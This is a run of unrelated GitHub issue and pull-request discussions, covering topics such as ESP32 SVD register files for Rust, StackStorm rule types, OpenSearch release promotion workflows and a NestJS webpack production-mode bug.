Apologies that I didn't find the time I hoped to to work on this. One thing I would posit though is would it be better for the svds' and the associated generated rust to live in the 'esp32' crate repo? If only to match with the behaviour in other embedded rust environments like the stm32 one. (There stm32-rs contains the svd generated code and is pulled in by the various stm32XX-hal crates).

One thing I would posit though is would it be better for the svds' and the associated generated rust to live in the 'esp32' crate repo? If only to match with the behaviour in other embedded rust environments like the stm32 one. (There stm32-rs contains the svd generated code and is pulled in by the various stm32XX-hal crates).

I think the same, that having a separate repo for the esp32 definitions would be much better, and leave this repo only for esp32-hal. I have seen pattern in the nrf51-rs organization too.

Excellent! This is looking good. Will review properly soon.
I am wondering if there is way to generate some of this information from the existing C headers in the idf, something like https://github.com/japaric/ultrascale-plus/tree/master/tools/html2svd but C-header2svd.

As you mentioned it, it seems like a great idea and should be considered because it's an enormous effor to just create the GPIO svd definitions (and it's not complete yet with nearly ~4kLoC). Seeing the registers header files it seem to be quite parseable, especially the comments:
/* GPIO_BT_SEL : R/W ;bitpos:[31:0] ;default: x ; */
/*description: NA*/
#define GPIO_BT_SEL  0xFFFFFFFF
#define GPIO_BT_SEL_M  ((GPIO_BT_SEL_V)<<(GPIO_BT_SEL_S))
#define GPIO_BT_SEL_V  0xFFFFFFFF
#define GPIO_BT_SEL_S  0

Should be a lot of less work to go that way.

I'm going to cease leaving tidbit reviews, but can take another look later if you would be interested. My main take aways are that we have a few instances where we might get better expressiveness by constraining or renaming some of the plain high/low values for some of the registers. e.g. For the Write Set registers, writing a 0 doesnt seem to do anything according to the docs, so is it worth only enumerating the 1 values (which will mean in the rust side there is no method available to write a 0). Or for the enable registers, enumerating as enable (or enabled) vs disable, rather than high/low.

@HarkonenBade
I'll make some changes to the svd file, I don't know if it makes more sense for now to remove the pin descriptions in each field to have a more simpler .svd file for now (I don't know really if a header2svd could be possible right now). It makes more sense to have a single Set value on the W1TS/W1TC registers for consistence, and for the Enable/Disable values it's ok too; I used HIGH/LOW to not overcomplicate for now the .svd (it's too much error prone by hand), but makes sense after review, and for the final API. I'm going to do these changes today in a few hours or so.

Thanks for taking a look @HarkonenBade, I agree we should move this to esp32 repo; would you mind doing so @jeandudey?
I think we should move to automating this asap, but I am happy to merge this right away on the esp32 repo if you wish to get started on a ehal gpio driver. In the meantime I'll be looking at generating some of this via a tool, it's something I've looked into before so I have a rough idea on what to do.
Thanks @jeandudey for starting this off!

Might be worth checking out https://github.com/stm32-rs/stm32-rs if you havn't already. As we may want to use some of their SVD patching tools given that I suspect the C headers may have errors in places, or we may want to add more rich enumerated values.

Might be worth checking out https://github.com/stm32-rs/stm32-rs if you havn't already. As we may want to use some of their SVD patching tools given that I suspect the C headers may have errors in places, or we may want to add more rich enumerated values.

I didn't knew of that project, definitely agree on the rich enumerated values, as parsing C files isn't going to give us much information.

Closing as this is now unnecessary.
Thank you for getting the ball rolling!

@MabezDev thanks! :tada:  Also I'm sorry for not being contributing now, I don't have enough time (yet).


Add taggable items to global stats

Add the metric 'taggable items' to the global stats. These are the number of content items that have content types that can be associated with taxons. Examples of omitted content items are for instance those with content type of 'taxon' or 'redirect'
trello: https://trello.com/c/EFBUZnQs/172-implement-tracking-for-a-metric-which-describes-how-much-content-is-in-scope-for-tagging-to-the-taxonomy

I still get confused by Rummager's behaviour with regards to live vs draft... would the queries in this PR pull in taggings for the draft stack as well?

I still get confused by Rummager's behaviour with regards to live vs draft... would the queries in this PR pull in taggings for the draft stack as well?

I still get confused by Rummager's behaviour with regards to live vs draft... would the queries in this PR pull in taggings for the draft stack as well?

I think it will omit content that is in the govuk index in Rummager, but there isn't a good alternative that I know of at the moment.

These are the number of content items that have content types that can be associated with taxons

"Taggable" implies that these document types can be associated with taxons. Since everything on GOV.UK is taggable, maybe another word for this would be better? It might be confusing that travel advice pages are not "taggable" according to this definition but are definitely taggable in content tagger / show taxonomy sidebars.

@tijmenb we've added a commit which hopefully avoids this confusion (https://github.com/alphagov/govuk-tagging-monitor/pull/31/commits/7c45e600550846d553a29bdf2a5e96dc53edc201) by renaming "taggable items" to "items in scope".

@tomsabin very good!


500 when trying to view restricted sites while not logged in

While trying to access https://gamekeller.net/members while not logged in, an internal server error gets thrown

Fixed on live branch.


Timing parameters

How does this library handle timings like Mark and Break?

Hi! Could you elaborate a bit further on your question? Are you referring to how the library handles Mark and Break conditions when receiving or when sending?

Yes, I can't see anything in the code how you handle the Break and MAB (Mark after Break).

The handling of MAB and break conditions is not explicitly handled in the C code itself. The Programmable IO (PIO) modules handle the specific timing requirements for the DMX protocol. The assembly code for DMX output and input can be found here.
For DMX output, the PIO module automatically transmits a Break and MAB every time a new frame is transmitted. As soon as the Break and MAB are transmitted, the PIO module starts pulling bytes from memory using DMA.
For DMX input, The PIO actively checks for a break condition on the DMX line. If the line is continuously kept low for more than 90 microseconds, a break condition is asserted. The PIO then waits for the MAB and first start bit before it starts reading bytes from the frame.

Ok, this helps. Is there a way to made Break and MAB timing configurable easily?

Unfortunately, no...
The timing parameters are embedded in the PIO assembly code, so configuration of Break and MAB timing requires you to edit and re-assemble the PIO assembly code.
It is possible, but not particularly easy

Thank you. I will test the library soon.


Serial port opening.

PR for the serial port opening.

Capability for writing to ports is needed
Feedback to UI is needed
Logging needs to be integrated

[ ]  Able to write to ports
[ ] Feedback is given to the UI
[ ] Logging to db
[ ] Sufficient documentation


Rule types and backstop rules

Do we plan to merge / include this in v1.0?
I know we said no new features, but this looks like a pretty big change.

Yeah I prepared the PR and have some misgivings about merging to 1.0. Basically, the need come from @DoriftoShoes describing auto-remidiation use cases and expressing how our current system of rules might not be sufficient. I will check with @DoriftoShoes and see if this is a must for 1.0 - depending on that will decide on merge/no-merge.

I would really like this now.  I feel it is critical to getting us used as the control plane for remediation tasks.  Without this people will still use multiple event handlers and have to jump between systems to determine the route an alert took.  This will be a friction point for adoption in the auto remediation use case.  When did we officially "freeze" features for 1.0?

When did we officially "freeze" features for 1.0?

Realistically, I don't think that we will ever really "freeze" features for 1.0.
Since you make a strong case I think we should include this for 1.0.

@Kami SO yes this will be for 1.0

@manasdk Alright, in this case we need tests and some docs on what this feature is on how to use it :)

Alright, in this case we need tests and some docs on what this feature is on how to use it :)

Yes on that today. I might add the testing to st2tests since it is really integration. I have some units here but that is not enough for the feature.

Overall, this is what I had in mind. A RuleType and RuleInstance. I think this is going in the right direction but shipping this in 1.0 is a little too ambitious. I want to use this a little more as a st2 user before declaring this publicly available to consume.

Overall, this is what I had in mind. A RuleType and RuleInstance.

Do you mean Rule -> RuleInstance? If so nope not going to rename all that and particularly since it provides almost no value.

shipping this in 1.0 is a little too ambitious.

We can dark-ship but I think having the code in without all the docs has value so we can explore what this does for autoremidiation use cases.

Do you mean Rule -> RuleInstance? If so nope not going to rename all that and particularly since it provides almost no value.

Yeah, Rule is fine :P. I tried to sound less confusing and ended up confusing more.

+1 for dark-ship; we need this for internal and demo, and while using it internally will work out the sharp edges.

some docs on what this feature is on how to use it

I will be skipping this since we are moving to dark-ship.

I am gonna merge this change after travis turns green.


soft-code all style constants in tooltip file

Fixes #658

@shcheklein I have derived all those constants from hit and trial so I don't have an exact idea how everything works.
When I was creating it, I didn't know if something like react portals exist. I am thinking to make.this again but using React Portals this time.

@algomaster99 then, let's close this and create a new to migrate to portals. Probably we'll share some logic with the new mobile implementation? Also, @iAdramelk can have some ideas how it can refactored.

Created a ticket - #663


Using IMU on Vision Bonnet

There is an IMU: BMI160 according to AIY Project Documentation.  I'd like to use IMU for smart camera applications.  How can I access the BMI160?

Adding a ping on this - Can the IMU be accessed? Thanks to anyone who knows.

+1

Unfortunately, there is no way to access IMU from the Raspberry Pi, it's only available for Myriad chip.

Is it possible for the Raspberry Pi to read the IMU data from the Myriad chip?


extends property in config file doesn't work when provided via --config CLI option

The extends property doesn't work when the config file is provided using --config option. To reproduce the issue please checkout the https://github.com/OnkarRuikar/test_markdonwnlint-cli2 repo. And run npm test. The command shouldn't produce any line length related issues.
The code which reads config from --config option...
https://github.com/DavidAnson/markdownlint-cli2/blob/f12996abaf6b2d0e05dddc0a351a60d53a64584d/markdownlint-cli2.js#L170C32-L170C32
... doesn't process the extends value.
Our documentation project has separate directories for each locale. And we want to have some rules different for each locale while keeping common rules in one file. Actual issue is that the locale based division has been made in multiple hierarchies:
package.json
files
  /de
  /zh-cn
docs
  /de
  /zh-cn

We do not want to repeat same configuration files twice. For example, we don't want to have the same files/de/.markdownlint-cli2.jsonc under docs/de/.markdownlint-cli2.jsonc.
The solution I have in mind is to keep all the markdown related config in one directory:
package.json
lint-configs
  /common-config.jsonc
  /de.markdownlint-cli2.jsonc
  /zh-cn.markdonwlint-cli2.jconc

And we use locale specific configs in command line  as follows:
markdonwlint-cli2 --config lint-configs/zh-cn.markdownlint-cli2.jsonc docs/zh-cn/**/*.md files/zh-cn/**/*.md

I've already done and tested the change required to fix this --config-extends issue. Creating this issue to discuss this before.

Sounds legit, especially if you already have a fix written! Happy to see the PR! Alternatively, I will be releasing a new version very soon and I'm happy to look into this based on the detail you provided.

How many levels the extends can be chained?
base.jsonc
    |_child.jsonc   (extends: base.jsonc)
        |_grand_child.jsonc   (extends: child.jsonc)
             |_ ...

No limit. Yes, you could create a cycle. :)


Handle (and ignore) bogus exception thrown by menu code.

Addresses the bug: https://trello.com/c/yG4zNKeW
The real bug appears to be in Chrome. But I was able to make it not matter by catching the exception and ignoring it.
@jebeck @jh-bate ?

Just tested myself compared to one of the store versions, and works! Awesome catch @kentquirk
Good to merge.


Central workflow to execute pre-release promotion jobs.

Is your feature request related to a problem? Please describe
During a release as a pre-release activity we need to Promote Repos and Promote Artifacts and execute multiple jobs manually that needs the RC build numbers and manifests as input.
Example for Release 2.11.0 following are the jobs executed manually.
Promote Repos OS and OSD
https://build.ci.opensearch.org/job/distribution-promote-repos/74/console
https://build.ci.opensearch.org/job/distribution-promote-repos/75/console
https://build.ci.opensearch.org/job/distribution-promote-repos/76/
https://build.ci.opensearch.org/job/distribution-promote-repos/77/
Windows OS and OSD
https://build.ci.opensearch.org/job/distribution-promote-artifacts/339/console
https://build.ci.opensearch.org/job/distribution-promote-artifacts/337/
Linux OS and OSD deb:
https://build.ci.opensearch.org/job/distribution-promote-artifacts/340/
https://build.ci.opensearch.org/job/distribution-promote-artifacts/341/
https://build.ci.opensearch.org/job/distribution-promote-artifacts/342
https://build.ci.opensearch.org/job/distribution-promote-artifacts/343/
Linux OS and OSD Rpm:
https://build.ci.opensearch.org/job/distribution-promote-artifacts/344/console
https://build.ci.opensearch.org/job/distribution-promote-artifacts/344/console
https://build.ci.opensearch.org/job/distribution-promote-artifacts/346/
https://build.ci.opensearch.org/job/distribution-promote-artifacts/346/console
Linux OS and OSD Tar
https://build.ci.opensearch.org/job/distribution-promote-artifacts/349/
https://build.ci.opensearch.org/job/distribution-promote-artifacts/350/
https://build.ci.opensearch.org/job/distribution-promote-artifacts/352/
https://build.ci.opensearch.org/job/distribution-promote-artifacts/353/
Describe the solution you'd like
Come up with central workflow that triggers all the Promote Repos and Promote Artifacts jobs. This central workflow should track all the job status and notify if one of the jobs fails as part of the promotion. The central workflow should synchronously wait until all the promote jobs are completed.
Describe alternatives you've considered
No response
Additional context
No response

I can work on this issue.

Adding one of the approach we discussed offline:
A release candidate is considered ready for release when all the exit criteria is met. Once we get a GO from everyone, a release-candidate.yml similar to below can be committed into manifests/version folder fixing the release candidate number.
---
opensearch: 1384
opensearch-dashboards: 1099

This file should be reviewed, approved and then merged. Once merged, the centralized workflow say release.jenkinsFile will take this an input, parse for RC number and subsequently pass on to all child workflows. Some workflows are dependent on each other or need to run in certain order, that should be taken care by the centralized workflow. Most of them can run in parallel.
I believe this process can eventually be linked to a tag making a one click release process.
Let me know what you think @dblock @bbarani

Closing this issue as this enhancement is merged in PR https://github.com/opensearch-project/opensearch-build/pull/4280, will re-open if required to make any changes or found any bugs.
Thank you

Created a jenkins pipeline https://build.ci.opensearch.org/job/distribution-promotion/, that can be used to trigger the pre-release promotion activities.


When build with webpack's 'production' mode - httpAdapterHost is not initialized.

Hello, I've taken your example https://github.com/nestjs/nest/tree/master/sample/24-serve-static, and added webpack builder in order to bundle everything in one file.
When build with 'production' mode set in webpack - there is an exception in runtime:
24-serve-static>npm run start:prod

><EMAIL_ADDRESS>start:prod \24-serve-static
> node dist/main

[Nest] 1736   - 02/20/2020, 2:20:43 PM   [NestFactory] Starting Nest application...
(node:1736) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.
[Nest] 1736   - 02/20/2020, 2:20:43 PM   [l] l dependencies initialized +14ms
(node:1736) UnhandledPromiseRejectionWarning: TypeError: Cannot read property 'getInstance' of undefined

but, if mode in webpack is commented - everything works fine.
In<EMAIL_ADDRESS>let ServeStaticModule = ServeStaticModule_1 = class ServeStaticModule {
    constructor(ngOptions, loader, httpAdapterHost) {
        this.ngOptions = ngOptions;
        this.loader = loader;
        this.httpAdapterHost = httpAdapterHost;

httpAdapterHost in runtime is

{
  httpAdapterHost: {
    ioAdapter: null,
    globalPrefix: '',
    globalPipes: [],
    globalFilters: [],
    globalInterceptors: [],
    globalGuards: [],
    globalRequestPipes: [],
    globalRequestFilters: [],
    globalRequestInterceptors: [],
    globalRequestGuards: []
  }

see code here.
https://github.com/Serg-Mois/serve_static_webpack_bug
also, when build with webpack - you need explicitly add "fastify-static" into dependencies.

Is there any other way to send index.html if no Controllers were found?
I was trying to make:
@Controller('')
export class ClientController {
@Get('*')
public angularApp(@Res() res: Response): any {
res.sendFile(path.join(__dirname, './client/index.html'));
}
}
and put this Controller as the last one in controllers array of Module , but as described here https://github.com/nestjs/nest/issues/1667 - the order doesn't matter.

Don't use the production mode in webpack to bundle server-side applications. This may cause issues with numerous libraries, including typeorm, sequelize-typescript or NestJS.


Update package.json

typescript-esbuild is used in prod (not just dev dep).

The idea was to separate typescript-esbuild and typescript-document from the production build to lower bundle size but I forgot it's also included in Source/Variable/Option.ts. I have replaced it and it should be fixed now in v2.1.6